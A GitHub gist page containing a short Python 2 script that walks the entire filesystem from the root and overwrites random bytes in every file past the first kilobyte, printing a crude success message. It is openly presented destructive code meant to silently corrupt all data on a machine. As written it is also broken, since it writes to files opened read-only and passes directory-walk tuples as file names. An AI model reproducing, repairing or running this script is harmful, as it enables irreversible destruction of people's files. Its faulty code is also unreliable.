Created
June 27, 2014 01:49
-
-
Save alecnunn/e6cfb5e6ffa4f3d1535b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import random, struct | |
| A = 1024 | |
| C = random.randrange(100,25000) | |
| def c(f): | |
| with open(f, 'rb') as f: | |
| b = 0 | |
| d = 0 | |
| while True: | |
| b = f.read(1) | |
| d += 1 | |
| if not b: | |
| break | |
| if random.randrange(0, C) == 0 and d > A: | |
| d += 1 | |
| e = chr(int(random.randrange(0,255))) | |
| f.write(e) | |
| else: | |
| f.write(b) | |
| f.close() | |
| if __name__ == '__main__': | |
| import os | |
| for f in os.walk('/'): | |
| for d in f: | |
| try: | |
| c(f) | |
| print 'fucked' | |
| except: | |
| print 'broked' | |
| break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment